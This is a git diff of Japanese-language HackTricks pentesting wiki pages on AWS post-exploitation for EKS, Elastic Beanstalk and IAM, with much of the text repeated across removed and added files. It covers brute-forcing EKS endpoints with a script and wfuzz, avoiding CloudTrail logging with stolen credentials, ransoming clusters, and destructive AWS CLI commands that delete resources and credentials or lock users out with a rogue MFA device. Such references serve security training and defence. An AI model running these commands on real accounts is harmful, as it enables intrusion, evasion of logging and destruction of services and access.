-```
-ドキュメントで「2文字」と「数字」の基準を説明しているものは見つかりませんでした。しかし、自分でテストを行ったところ、以下のものが繰り返し現れることがわかりました：
-
-- gr7
-- yl4
-
-いずれにせよ、たった3文字なので、ブルートフォース攻撃できます。リストを生成するために以下のスクリプトを使用してください。
-```python
-from itertools import product
-from string import ascii_lowercase
-
-letter_combinations = product('abcdefghijklmnopqrstuvwxyz', repeat = 2)
-number_combinations = product('0123456789', repeat = 1)
-
-result = [
-f'{''.join(comb[0])}{comb[1][0]}'
-for comb in product(letter_combinations, number_combinations)
-]
-
-with open('out.txt', 'w') as f:
-f.write('\n'.join(result))
-```
-その後、wfuzzを使用して
-```bash
-wfuzz -Z -z file,out.txt --hw 0 https://<cluster-id>.FUZZ.<region>.eks.amazonaws.com
-```
-> [!WARNING]
-> & を置き換えることを忘れないでください。
-
-### CloudTrailのバイパス
-
-攻撃者が**EKSに対する権限を持つAWSの資格情報**を取得した場合、攻撃者が前述のように**`update-kubeconfig`**を呼び出さずに独自の**`kubeconfig`**を設定すると、**`get-token`**はCloudTrailにログを生成しません（AWS APIと対話せず、トークンをローカルで作成するだけだからです）。
-
-したがって、攻撃者がEKSクラスターと通信すると、**cloudtrailはユーザーが盗まれてアクセスしていることに関連するログを記録しません**。
-
-**EKSクラスターにはこのアクセスを記録するログが有効になっている可能性がある**ことに注意してください（デフォルトでは無効になっていますが）。
-
-### EKSの身代金？
-
-デフォルトでは、**クラスターを作成したユーザーまたはロール**は**常にクラスターに対して管理者権限を持つ**ことになります。そして、それがKubernetesクラスターに対するAWSの唯一の「安全な」アクセスです。
-
-したがって、**攻撃者がFargateを使用してクラスターを侵害し**、**他のすべての管理者を削除し**、**クラスターを作成したAWSユーザー/ロールを削除**すると、~~攻撃者は**クラスターを身代金にすることができた**~~**。
-
-> [!TIP]
-> クラスターが**EC2 VM**を使用している場合、**ノード**から管理者権限を取得し、クラスターを回復することが可能です。
->
-> 実際、クラスターがFargateを使用している場合、EC2ノードを使用するか、すべてをEC2に移動してクラスターを回復し、ノード内のトークンにアクセスすることができます。
-
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation/README.md

@@ -0,0 +1,143 @@
+# AWS - EKS Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## EKS
+
+詳細については以下を確認してください
+
+{{#ref}}
+../../aws-services/aws-eks-enum.md
+{{#endref}}
+
+### Enumerate the cluster from the AWS Console
+
+もし権限 **`eks:AccessKubernetesApi`** を持っている場合、AWS EKS コンソール経由で **Kubernetes objects を表示できます**（[Learn more](https://docs.aws.amazon.com/eks/latest/userguide/view-workloads.html)）。
+
+### Connect to AWS Kubernetes Cluster
+
+- 簡単な方法:
+```bash
+# Generate kubeconfig
+aws eks update-kubeconfig --name aws-eks-dev
+```
+- それほど簡単な方法ではない:
+
+もし **`aws eks get-token --name <cluster_name>`** で **トークンを取得できる** が、クラスタ情報（describeCluster）を取得する権限がなければ、**独自に `~/.kube/config` を用意する**ことができます。ただしトークンを持っていても、接続するための **URL エンドポイント**（pod から JWT token を入手できた場合は [here](aws-eks-post-exploitation/README.md#get-api-server-endpoint-from-a-jwt-token) を参照）と **クラスタの名前** が必要です。
+
+私の場合、CloudWatch ログでは情報は見つかりませんでしたが、**LaunchTemaplates userData で見つけました**し、**EC2 マシンの userData にもありました**。この情報は **userData** に簡単に表示されます。例えば次の例（クラスタ名は cluster-name）:
+```bash
+API_SERVER_URL=https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-east-1.eks.amazonaws.com
+
+/etc/eks/bootstrap.sh cluster-name --kubelet-extra-args '--node-labels=eks.amazonaws.com/sourceLaunchTemplateVersion=1,alpha.eksctl.io/cluster-name=cluster-name,alpha.eksctl.io/nodegroup-name=prd-ondemand-us-west-2b,role=worker,eks.amazonaws.com/nodegroup-image=ami-002539dd2c532d0a5,eks.amazonaws.com/capacityType=ON_DEMAND,eks.amazonaws.com/nodegroup=prd-ondemand-us-west-2b,type=ondemand,eks.amazonaws.com/sourceLaunchTemplateId=lt-0f0f0ba62bef782e5 --max-pods=58' --b64-cluster-ca $B64_CLUSTER_CA --apiserver-endpoint $API_SERVER_URL --dns-cluster-ip $K8S_CLUSTER_DNS_IP --use-max-pods false
+```
+<details>
+
+<summary>kube config</summary>
+```yaml
+describe-cache-parametersapiVersion: v1
+clusters:
+- cluster:
+certificate-authority-data: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUMvakNDQWVhZ0F3SUJBZ0lCQURBTkJna3Foa2lHOXcwQkFRc0ZBREFWTVJNd0VRWURWUVFERXdwcmRXSmwKY201bGRHVnpNQjRYRFRJeU1USXlPREUyTWpjek1Wb1hEVE15TVRJeU5URTJNamN6TVZvd0ZURVRNQkVHQTFVRQpBeE1LYTNWaVpYSnVaWFJsY3pDQ0FTSXdEUVlKS29aSWh2Y05BUUVCQlFBRGdnRVBBRENDQVFvQ2dnRUJBTDlXCk9OS0ZqeXZoRUxDZGhMNnFwWkMwa1d0UURSRVF1UzVpRDcwK2pjbjFKWXZ4a3FsV1ZpbmtwOUt5N2x2ME5mUW8KYkNqREFLQWZmMEtlNlFUWVVvOC9jQXJ4K0RzWVlKV3dzcEZGbWlsY1lFWFZHMG5RV1VoMVQ3VWhOanc0MllMRQpkcVpzTGg4OTlzTXRLT1JtVE5sN1V6a05pTlUzSytueTZSRysvVzZmbFNYYnRiT2kwcXJSeFVpcDhMdWl4WGRVCnk4QTg3VjRjbllsMXo2MUt3NllIV3hhSm11eWI5enRtbCtBRHQ5RVhOUXhDMExrdWcxSDBqdTl1MDlkU09YYlkKMHJxY2lINjYvSTh0MjlPZ3JwNkY0dit5eUNJUjZFQURRaktHTFVEWUlVSkZ4WXA0Y1pGcVA1aVJteGJ5Nkh3UwpDSE52TWNJZFZRRUNQMlg5R2c4Q0F3RUFBYU5aTUZjd0RnWURWUjBQQVFIL0JBUURBZ0trTUE4R0ExVWRFd0VCCi93UUZNQU1CQWY4d0hRWURWUjBPQkJZRUZQVXFsekhWZmlDd0xqalhPRmJJUUc3L0VxZ1hNQlVHQTFVZEVRUU8KTUF5Q0NtdDFZbVZ5Ym1WMFpYTXdEUVlKS29aSWh2Y05BUUVMQlFBRGdnRUJBS1o4c0l4aXpsemx0aXRPcGcySgpYV0VUSThoeWxYNWx6cW1mV0dpZkdFVVduUDU3UEVtWW55eWJHbnZ5RlVDbnczTldMRTNrbEVMQVE4d0tLSG8rCnBZdXAzQlNYamdiWFovdWVJc2RhWlNucmVqNU1USlJ3SVFod250ZUtpU0J4MWFRVU01ZGdZc2c4SlpJY3I2WC8KRG5POGlHOGxmMXVxend1dUdHSHM2R1lNR0Mvd1V0czVvcm1GS291SmtSUWhBZElMVkNuaStYNCtmcHUzT21UNwprS3VmR0tyRVlKT09VL1c2YTB3OTRycU9iSS9Mem1GSWxJQnVNcXZWVDBwOGtlcTc1eklpdGNzaUJmYVVidng3Ci9sMGhvS1RqM0IrOGlwbktIWW4wNGZ1R2F2YVJRbEhWcldDVlZ4c3ZyYWpxOUdJNWJUUlJ6TnpTbzFlcTVZNisKRzVBPQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tCg==
+server: https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-west-2.eks.amazonaws.com
+name: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
+contexts:
+- context:
+cluster: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
+user: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
+name: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
+current-context: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
+kind: Config
+preferences: {}
+users:
+- name: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
+user:
+exec:
+apiVersion: client.authentication.k8s.io/v1beta1
+args:
+- --region
+- us-west-2
+- --profile
+- <profile>
+- eks
+- get-token
+- --cluster-name
+- <cluster-name>
+command: aws
+env: null
+interactiveMode: IfAvailable
+provideClusterInfo: false
+```
+</details>
+
+### AWSからKubernetesへ
+
+**作成者** は **EKS cluster** の kubernetes クラスタ部分の **`system:masters`** グループ（k8s admin）に**常に**アクセスできる。執筆時点ではクラスタを**誰が作成したか**を特定する**直接的な方法はない**（CloudTrail を確認することはできる）。また、その**権限を取り消す方法**は**存在しない**。
+
+**K8s へのアクセスをより多くの AWS IAM ユーザーやロールに付与する方法** は、**configmap** **`aws-auth`** を使用することです。
+
+> [!WARNING]
+> したがって、config map **`aws-auth`** に対する **write access** を持つ者は誰でも、**compromise the whole cluster** ことができる。
+
+同一または別のアカウントの **IAM roles & users に追加権限を付与する方法** と、それを **悪用** する方法の詳細は [**privesc check this page**](../../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html#aws-eks-aws-auth-configmaps) を参照してください。
+
+また、認証 IAM -> Kubernetes の仕組みを学ぶには [**this awesome**](https://blog.lightspin.io/exploiting-eks-authentication-vulnerability-in-aws-iam-authenticator) **post** も確認してください。
+
+### KubernetesからAWSへ
+
+kubernetes service account に対する **OpenID authentication for kubernetes service account** を許可して、それらが AWS のロールを引き受けられるようにすることが可能です。仕組みは [**this work in this page**](../../../kubernetes-security/kubernetes-pivoting-to-clouds.md#workflow-of-iam-role-for-service-accounts-1) を参照してください。
+
+### GET Api Server Endpoint from a JWT Token
+
+JWT token をデコードすると cluster id と region が得られます。 ![image](https://github.com/HackTricks-wiki/hacktricks-cloud/assets/87022719/0e47204a-eea5-4fcb-b702-36dc184a39e9) EKS url の標準フォーマットは
+```bash
+https://<cluster-id>.<two-random-chars><number>.<region>.eks.amazonaws.com
+```
+'`two chars`' と '`number`' の基準を説明するドキュメントは見つかりませんでした。ただ、自分でいくつかテストしたところ、以下のものが繰り返し見られました:
+
+- gr7
+- yl4
+
+いずれにせよ3文字に過ぎないのでbruteforceで総当たりできます。以下のスクリプトを使ってリストを生成してください。
+```python
+from itertools import product
+from string import ascii_lowercase
+
+letter_combinations = product('abcdefghijklmnopqrstuvwxyz', repeat = 2)
+number_combinations = product('0123456789', repeat = 1)
+
+result = [
+f'{''.join(comb[0])}{comb[1][0]}'
+for comb in product(letter_combinations, number_combinations)
+]
+
+with open('out.txt', 'w') as f:
+f.write('\n'.join(result))
+```
+次に wfuzz を使って
+```bash
+wfuzz -Z -z file,out.txt --hw 0 https://<cluster-id>.FUZZ.<region>.eks.amazonaws.com
+```
+> [!WARNING]
+> 置換することを忘れないでください & .
+
+### Bypass CloudTrail
+
+攻撃者が EKS に対する権限を持つ AWS の資格情報を入手した場合、攻撃者が前述のように自分の **`kubeconfig`**（**`update-kubeconfig`** を呼び出さずに）を設定すると、**`get-token`** は AWS API とやり取りしないため Cloudtrail にログを生成しません（ローカルでトークンを作成するだけです）。
+
+したがって、攻撃者が EKS クラスターとやり取りしても、cloudtrail は盗まれたユーザーによるアクセスに関連するログを何も記録しません。
+
+ただし、EKS クラスターでログが有効になっている場合は、このアクセスが記録される可能性があることに注意してください（デフォルトでは無効になっています）。
+
+### EKS Ransom?
+
+デフォルトでは、クラスターを作成したユーザーまたはロールは常にクラスターに対して管理者権限を持ちます。そして、それが AWS が Kubernetes クラスターに対して持つ唯一の「安全な」アクセスです。
+
+したがって、**攻撃者が fargate を使ってクラスターを乗っ取り**、**他のすべての管理者を排除し**、**クラスターを作成した AWS ユーザー/ロールを削除した**場合、~~the attacker could have **ransomed the cluste**~~**r**。
+
+> [!TIP]
+> クラスターが **EC2 VMs** を使用している場合、**Node** から管理者権限を取得してクラスターを回復できる可能性がある点に注意してください。
+>
+> 実際には、クラスターが Fargate を使用している場合でも、EC2 ノードを用意するかすべてを EC2 に移行してノード上のトークンにアクセスすることでクラスターを回復できる可能性があります。
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md

@@ -1,70 +0,0 @@
-# AWS - Elastic Beanstalk Post Exploitation
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Elastic Beanstalk
-
-詳細情報については：
-
-{{#ref}}
-../aws-services/aws-elastic-beanstalk-enum.md
-{{#endref}}
-
-### `elasticbeanstalk:DeleteApplicationVersion`
-
-> [!NOTE]
-> TODO: これに対して追加の権限が必要かテストする
-
-`elasticbeanstalk:DeleteApplicationVersion` の権限を持つ攻撃者は **既存のアプリケーションバージョンを削除** できます。このアクションは、アプリケーションのデプロイメントパイプラインを妨害したり、バックアップがない場合に特定のアプリケーションバージョンの損失を引き起こす可能性があります。
-```bash
-aws elasticbeanstalk delete-application-version --application-name my-app --version-label my-version
-```
-**潜在的影響**: アプリケーションのデプロイメントの中断とアプリケーションバージョンの潜在的な損失。
-
-### `elasticbeanstalk:TerminateEnvironment`
-
-> [!NOTE]
-> TODO: これに対して追加の権限が必要かテストする
-
-`elasticbeanstalk:TerminateEnvironment` の権限を持つ攻撃者は、**既存の Elastic Beanstalk 環境を終了させる**ことができ、アプリケーションのダウンタイムを引き起こし、環境がバックアップ用に構成されていない場合はデータ損失の可能性があります。
-```bash
-aws elasticbeanstalk terminate-environment --environment-name my-existing-env
-```
-**潜在的な影響**: アプリケーションのダウンタイム、潜在的なデータ損失、およびサービスの中断。
-
-### `elasticbeanstalk:DeleteApplication`
-
-> [!NOTE]
-> TODO: これに対して追加の権限が必要かテストする
-
-`elasticbeanstalk:DeleteApplication` の権限を持つ攻撃者は、**Elastic Beanstalk アプリケーション全体を削除**することができ、そのすべてのバージョンと環境を含みます。このアクションは、バックアップがない場合、アプリケーションリソースと構成の重大な損失を引き起こす可能性があります。
-```bash
-aws elasticbeanstalk delete-application --application-name my-app --terminate-env-by-force
-```
-**潜在的影響**: アプリケーションリソース、設定、環境、およびアプリケーションバージョンの喪失により、サービスの中断やデータ損失の可能性があります。
-
-### `elasticbeanstalk:SwapEnvironmentCNAMEs`
-
-> [!NOTE]
-> TODO: これに必要な権限が他にあるかテストする
-
-`elasticbeanstalk:SwapEnvironmentCNAMEs` 権限を持つ攻撃者は、**2つのElastic Beanstalk環境のCNAMEレコードを入れ替える**ことができ、これによりユーザーに誤ったバージョンのアプリケーションが提供されたり、意図しない動作を引き起こす可能性があります。
-```bash
-aws elasticbeanstalk swap-environment-cnames --source-environment-name my-env-1 --destination-environment-name my-env-2
-```
-**潜在的な影響**: ユーザーに誤ったバージョンのアプリケーションを提供したり、環境が入れ替わったことによるアプリケーションの意図しない動作を引き起こす可能性があります。
-
-### `elasticbeanstalk:AddTags`, `elasticbeanstalk:RemoveTags`
-
-> [!NOTE]
-> TODO: これに必要な権限が他にあるかテストする
-
-`elasticbeanstalk:AddTags` および `elasticbeanstalk:RemoveTags` 権限を持つ攻撃者は、**Elastic Beanstalk リソースにタグを追加または削除**することができます。このアクションは、リソースの不正な割り当て、請求、またはリソース管理につながる可能性があります。
-```bash
-aws elasticbeanstalk add-tags --resource-arn arn:aws:elasticbeanstalk:us-west-2:123456789012:environment/my-app/my-env --tags Key=MaliciousTag,Value=1
-
-aws elasticbeanstalk remove-tags --resource-arn arn:aws:elasticbeanstalk:us-west-2:123456789012:environment/my-app/my-env --tag-keys MaliciousTag
-```
-**潜在的影響**: 追加または削除されたタグによるリソースの不適切な割り当て、請求、またはリソース管理。
-
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation/README.md

@@ -0,0 +1,70 @@
+# AWS - Elastic Beanstalk Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Elastic Beanstalk
+
+詳細情報:
+
+{{#ref}}
+../../aws-services/aws-elastic-beanstalk-enum.md
+{{#endref}}
+
+### `elasticbeanstalk:DeleteApplicationVersion`
+
+> [!NOTE]
+> TODO: これにさらに権限が必要かテストする
+
+攻撃者が `elasticbeanstalk:DeleteApplicationVersion` 権限を持っていると、**既存のアプリケーションバージョンを削除できる**。この操作はアプリケーションのデプロイパイプラインを混乱させる可能性があり、バックアップがなければ特定のアプリケーションバージョンの喪失を引き起こすことがある。
+```bash
+aws elasticbeanstalk delete-application-version --application-name my-app --version-label my-version
+```
+**Potential Impact**: アプリケーションのデプロイの中断およびアプリケーションバージョンの喪失の可能性。
+
+### `elasticbeanstalk:TerminateEnvironment`
+
+> [!NOTE]
+> TODO: これにさらに権限が必要か確認する
+
+`elasticbeanstalk:TerminateEnvironment` の権限を持つ攻撃者は **既存の Elastic Beanstalk 環境を終了させることができ**、環境がバックアップに対応していない場合はアプリケーションのダウンタイムや潜在的なデータ損失を引き起こします。
+```bash
+aws elasticbeanstalk terminate-environment --environment-name my-existing-env
+```
+**Potential Impact**: アプリケーションのダウンタイム、データ損失の可能性、およびサービスの中断。
+
+### `elasticbeanstalk:DeleteApplication`
+
+> [!NOTE]
+> TODO: この操作にさらに権限が必要かどうかを確認する
+
+`elasticbeanstalk:DeleteApplication` の権限を持つ攻撃者は、**Elastic Beanstalk のアプリケーション全体を削除する**（すべてのバージョンと環境を含む）ことができます。バックアップがない場合、この操作によりアプリケーションのリソースや設定が大幅に失われる可能性があります。
+```bash
+aws elasticbeanstalk delete-application --application-name my-app --terminate-env-by-force
+```
+**潜在的な影響**: アプリケーションのリソース、設定、環境、およびアプリケーションのバージョンの喪失により、サービス停止や潜在的なデータ損失を引き起こす可能性があります。
+
+### `elasticbeanstalk:SwapEnvironmentCNAMEs`
+
+> [!NOTE]
+> TODO: 追加で権限が必要かテストする
+
+`elasticbeanstalk:SwapEnvironmentCNAMEs` 権限を持つ攻撃者は、**2つの Elastic Beanstalk 環境の CNAME レコードを入れ替える**ことができ、これによりユーザーに誤ったバージョンのアプリケーションが提供されたり、意図しない動作を引き起こしたりする可能性があります。
+```bash
+aws elasticbeanstalk swap-environment-cnames --source-environment-name my-env-1 --destination-environment-name my-env-2
+```
+**潜在的な影響**: 環境が入れ替わることでユーザーに誤ったバージョンのアプリケーションが配信されたり、アプリケーション内で意図しない動作が発生する可能性があります。
+
+### `elasticbeanstalk:AddTags`, `elasticbeanstalk:RemoveTags`
+
+> [!NOTE]
+> TODO: これにさらに多くの権限が必要かどうかをテストする
+
+`elasticbeanstalk:AddTags` および `elasticbeanstalk:RemoveTags` の権限を持つ攻撃者は、**Elastic Beanstalk リソースのタグを追加または削除する**ことができます。 この操作により、リソースの割り当てミス、請求の誤り、またはリソース管理の問題が発生する可能性があります。
+```bash
+aws elasticbeanstalk add-tags --resource-arn arn:aws:elasticbeanstalk:us-west-2:123456789012:environment/my-app/my-env --tags Key=MaliciousTag,Value=1
+
+aws elasticbeanstalk remove-tags --resource-arn arn:aws:elasticbeanstalk:us-west-2:123456789012:environment/my-app/my-env --tag-keys MaliciousTag
+```
+**潜在的な影響**: タグの追加や削除により、リソースの割り当て、請求、またはリソース管理が不適切になる可能性があります。
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md

@@ -1,166 +0,0 @@
-# AWS - IAM Post Exploitation
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## IAM
-
-For more information about IAM access:
-
-{{#ref}}
-../aws-services/aws-iam-enum.md
-{{#endref}}
-
-## Confused Deputy 問題
-
-もしあなたが自分のアカウント内の**role**に外部アカウント（A）がアクセスできるようにすると、外部アカウントが具体的に誰にアクセスできるかについて**可視性はほぼゼロ**になります。これは問題です。なぜなら別の外部アカウント（B）が外部アカウント（A）にアクセスできる場合、**Bがあなたのアカウントにもアクセスできてしまう可能性がある**からです。
-
-そのため、外部アカウントにあなたのアカウントのroleへのアクセスを許可する際に、`ExternalId`を指定できます。これは外部アカウント（A）があなたの組織のroleを**assume the role**するために**指定する必要がある**“シークレット”文字列です。外部アカウント（B）はこの文字列を知らないため、たとえBがAにアクセス権を持っていても、**あなたのroleにアクセスできなくなります**。
-
-<figure><img src="../../../images/image (95).png" alt=""><figcaption></figcaption></figure>
-
-ただし、この`ExternalId`“シークレット”は**真のシークレットではない**点に注意してください。IAMのassume role policyを**読むことができる者は誰でもそれを確認できる**からです。しかし、外部アカウント（A）がその文字列を知っており、外部アカウント（B）が知らない限り、**BがAを悪用してあなたのroleにアクセスすることを防げます**。
-
-例:
-```json
-{
-"Version": "2012-10-17",
-"Statement": {
-"Effect": "Allow",
-"Principal": {
-"AWS": "Example Corp's AWS Account ID"
-},
-"Action": "sts:AssumeRole",
-"Condition": {
-"StringEquals": {
-"sts:ExternalId": "12345"
-}
-}
-}
-}
-```
-> [!WARNING]
-> 攻撃者が confused deputy を悪用するには、現在のアカウントの principals が他のアカウントの roles を impersonate できるかどうかを何らかの方法で特定する必要がある。
-
-### 予期しない Trusts
-
-#### ワイルドカードを principal として
-```json
-{
-"Action": "sts:AssumeRole",
-"Effect": "Allow",
-"Principal": { "AWS": "*" }
-}
-```
-このポリシーは **すべての AWS** がロールを引き受けることを許可します。
-
-#### サービスをプリンシパルとして
-```json
-{
-"Action": "lambda:InvokeFunction",
-"Effect": "Allow",
-"Principal": { "Service": "apigateway.amazonaws.com" },
-"Resource": "arn:aws:lambda:000000000000:function:foo"
-}
-```
-このポリシーは**任意のアカウント**が自分の apigateway を設定してこの Lambda を呼び出すことを許可します。
-
-#### S3 をプリンシパルとして
-```json
-"Condition": {
-"ArnLike": { "aws:SourceArn": "arn:aws:s3:::source-bucket" },
-"StringEquals": {
-"aws:SourceAccount": "123456789012"
-}
-}
-```
-S3 バケットが principal として指定されている場合、S3 バケットにはアカウントIDがないため、あなたが **バケットを削除し攻撃者が自分のアカウントでそれを作成した** 場合、攻撃者はこれを悪用できます。
-
-#### サポートされていません
-```json
-{
-"Effect": "Allow",
-"Principal": { "Service": "cloudtrail.amazonaws.com" },
-"Action": "s3:PutObject",
-"Resource": "arn:aws:s3:::myBucketName/AWSLogs/MY_ACCOUNT_ID/*"
-}
-```
-A common way to avoid Confused Deputy problems is the use of a condition with `AWS:SourceArn` to check the origin ARN. However, **some services might not support that** (like CloudTrail according to some sources).
-
-### 認証情報の削除
-With any of the following permissions — `iam:DeleteAccessKey`, `iam:DeleteLoginProfile`, `iam:DeleteSSHPublicKey`, `iam:DeleteServiceSpecificCredential`, `iam:DeleteInstanceProfile`, `iam:DeleteServerCertificate`, `iam:DeleteCloudFrontPublicKey`, `iam:RemoveRoleFromInstanceProfile` — an actor can remove access keys, login profiles, SSH keys, service-specific credentials, instance profiles, certificates or CloudFront public keys, or disassociate roles from instance profiles. Such actions can immediately block legitimate users and applications and cause denial-of-service or loss of access for systems that depend on those credentials, so these IAM permissions must be tightly restricted and monitored.
-```bash
-# Remove Access Key of a user
-aws iam delete-access-key \
---user-name <Username> \
---access-key-id AKIAIOSFODNN7EXAMPLE
-
-## Remove ssh key of a user
-aws iam delete-ssh-public-key \
---user-name <Username> \
---ssh-public-key-id APKAEIBAERJR2EXAMPLE
-```
-### アイデンティティの削除
-`iam:DeleteUser`、`iam:DeleteGroup`、`iam:DeleteRole`、または`iam:RemoveUserFromGroup`のような権限があれば、アクターはユーザー、ロール、グループを削除したり、グループのメンバーシップを変更したりして、アイデンティティやそれに関連する痕跡を消すことができます。これにより、これらのアイデンティティに依存する人やサービスのアクセスが即座に失われ、denial-of-service やアクセス喪失を引き起こす可能性があるため、これらの IAM アクションは厳格に制限・監視する必要があります。
-```bash
-# Delete a user
-aws iam delete-user \
---user-name <Username>
-
-# Delete a group
-aws iam delete-group \
---group-name <Username>
-
-# Delete a role
-aws iam delete-role \
---role-name <Role>
-```
-###
-次のいずれかの権限 — `iam:DeleteGroupPolicy`, `iam:DeleteRolePolicy`, `iam:DeleteUserPolicy`, `iam:DeletePolicy`, `iam:DeletePolicyVersion`, `iam:DeleteRolePermissionsBoundary`, `iam:DeleteUserPermissionsBoundary`, `iam:DetachGroupPolicy`, `iam:DetachRolePolicy`, `iam:DetachUserPolicy` — を持つ主体は、マネージド/インラインポリシーを削除またはデタッチし、ポリシーのバージョンや権限境界を削除し、ユーザー、グループ、またはロールからポリシーを切り離すことができます。これにより認可が失われたり権限モデルが変更されたりし、これらのポリシーに依存していたプリンシパルが即座にアクセスを失うかサービス拒否に陥る可能性があるため、これらの IAM アクションは厳格に制限し監視する必要があります。
-```bash
-# Delete a group policy
-aws iam delete-group-policy \
---group-name <GroupName> \
---policy-name <PolicyName>
-
-# Delete a role policy
-aws iam delete-role-policy \
---role-name <RoleName> \
---policy-name <PolicyName>
-```
-### フェデレーテッド・アイデンティティの削除
-`iam:DeleteOpenIDConnectProvider`、`iam:DeleteSAMLProvider`、および `iam:RemoveClientIDFromOpenIDConnectProvider` を使用すると、攻撃者は OIDC/SAML の ID プロバイダーを削除したりクライアントID を削除したりできます。これによりフェデレーテッド認証が機能しなくなり、トークンの検証が行えず、IdP または設定が復旧するまで SSO に依存するユーザーやサービスへのアクセスが直ちに拒否されます。
-```bash
-# Delete OIDCP provider
-aws iam delete-open-id-connect-provider \
---open-id-connect-provider-arn arn:aws:iam::111122223333:oidc-provider/accounts.google.com
-
-# Delete SAML provider
-aws iam delete-saml-provider \
---saml-provider-arn arn:aws:iam::111122223333:saml-provider/CorporateADFS
-```
-### Illegitimate MFA Activation
-`iam:EnableMFADevice` を使用すると、攻撃者はユーザーのアイデンティティにMFAデバイスを登録し、正当なユーザーのサインインを防止できます。 不正なMFAが有効化されると、そのデバイスが削除またはリセットされるまでユーザーがロックアウトされる可能性があります（注：複数のMFAデバイスが登録されている場合、サインインにはいずれか1つのデバイスのみが必要なため、この攻撃はアクセスの拒否には影響しません）。
-```bash
-aws iam enable-mfa-device \
---user-name <Username> \
---serial-number arn:aws:iam::111122223333:mfa/alice \
---authentication-code1 123456 \
---authentication-code2 789012
-```
-### 証明書/キーのメタデータ改ざん
-`iam:UpdateSSHPublicKey`、`iam:UpdateCloudFrontPublicKey`、`iam:UpdateSigningCertificate`、`iam:UpdateServerCertificate` を使用すると、攻撃者は公開鍵や証明書のステータスやメタデータを変更できます。キーや証明書を無効化したり参照を変更したりすることで、SSH認証を破壊したり、X.509/TLS検証を無効化したりして、それらの資格情報に依存するサービスを即座に中断させ、アクセスや可用性の喪失を引き起こす可能性があります。
-```bash
-aws iam update-ssh-public-key \
---user-name <Username> \
---ssh-public-key-id APKAEIBAERJR2EXAMPLE \
---status Inactive
-
-aws iam update-server-certificate \
---server-certificate-name <Certificate_Name> \
---new-path /prod/
-```
-## 参考資料
-
-- [https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html](https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html)
-
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation/README.md

@@ -0,0 +1,166 @@
+# AWS - IAM Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## IAM
+
+For more information about IAM access:
+
+{{#ref}}
+../../aws-services/aws-iam-enum.md
+{{#endref}}
+
+## Confused Deputy Problem
+
+もしあなたが **外部アカウント (A)** に自分のアカウント内の **role** へのアクセスを許可すると、**誰が正確にその外部アカウントにアクセスできるか** に関して **0の可視性** を持つことになり得ます。これは問題です。なぜなら別の外部アカウント (B) が外部アカウント (A) にアクセスできる場合、**B もあなたのアカウントにアクセスできる可能性がある**からです。
+
+したがって、自分のアカウントの role へのアクセスを外部アカウントに許可する際に、`ExternalId` を指定することができます。これは外部アカウント (A) が組織内で assume the role するために指定する必要がある「秘密」の文字列です。外部アカウント B がこの文字列を知らない場合、たとえ B が A へのアクセス権を持っていても、あなたの role にアクセスすることはできません。
+
+<figure><img src="../../../images/image (95).png" alt=""><figcaption></figcaption></figure>
+
+ただし、この `ExternalId` の「秘密」は **秘密ではありません**。`IAM assume role policy` を読める人なら誰でもそれを見ることができます。しかし、外部アカウント A がその値を知っていて、外部アカウント **B がそれを知らない** 限り、**B が A を悪用してあなたの role にアクセスするのを防ぐ**ことができます。
+
+例:
+```json
+{
+"Version": "2012-10-17",
+"Statement": {
+"Effect": "Allow",
+"Principal": {
+"AWS": "Example Corp's AWS Account ID"
+},
+"Action": "sts:AssumeRole",
+"Condition": {
+"StringEquals": {
+"sts:ExternalId": "12345"
+}
+}
+}
+}
+```
+> [!WARNING]
+> 攻撃者が confused deputy を悪用するには、現在のアカウントの principals が他のアカウントの roles を impersonate できるかどうかを何らかの方法で見つける必要がある。
+
+### 予期しない信頼関係
+
+#### ワイルドカードを principal として
+```json
+{
+"Action": "sts:AssumeRole",
+"Effect": "Allow",
+"Principal": { "AWS": "*" }
+}
+```
+このポリシーは **すべての AWS** がロールを引き受けることを許可します。
+
+#### サービスをプリンシパルとして
+```json
+{
+"Action": "lambda:InvokeFunction",
+"Effect": "Allow",
+"Principal": { "Service": "apigateway.amazonaws.com" },
+"Resource": "arn:aws:lambda:000000000000:function:foo"
+}
+```
+このポリシーは **任意のアカウントが** 自分の apigateway を構成してこの Lambda を呼び出すことを許可します。
+
+#### S3 をプリンシパルとして
+```json
+"Condition": {
+"ArnLike": { "aws:SourceArn": "arn:aws:s3:::source-bucket" },
+"StringEquals": {
+"aws:SourceAccount": "123456789012"
+}
+}
+```
+S3 bucket が principal として指定されている場合、S3 buckets は Account ID を持たないため、あなたが **deleted your bucket and the attacker created** それを彼ら自身のアカウントに作成した場合、彼らはこれを悪用する可能性があります。
+
+#### サポートされていません
+```json
+{
+"Effect": "Allow",
+"Principal": { "Service": "cloudtrail.amazonaws.com" },
+"Action": "s3:PutObject",
+"Resource": "arn:aws:s3:::myBucketName/AWSLogs/MY_ACCOUNT_ID/*"
+}
+```
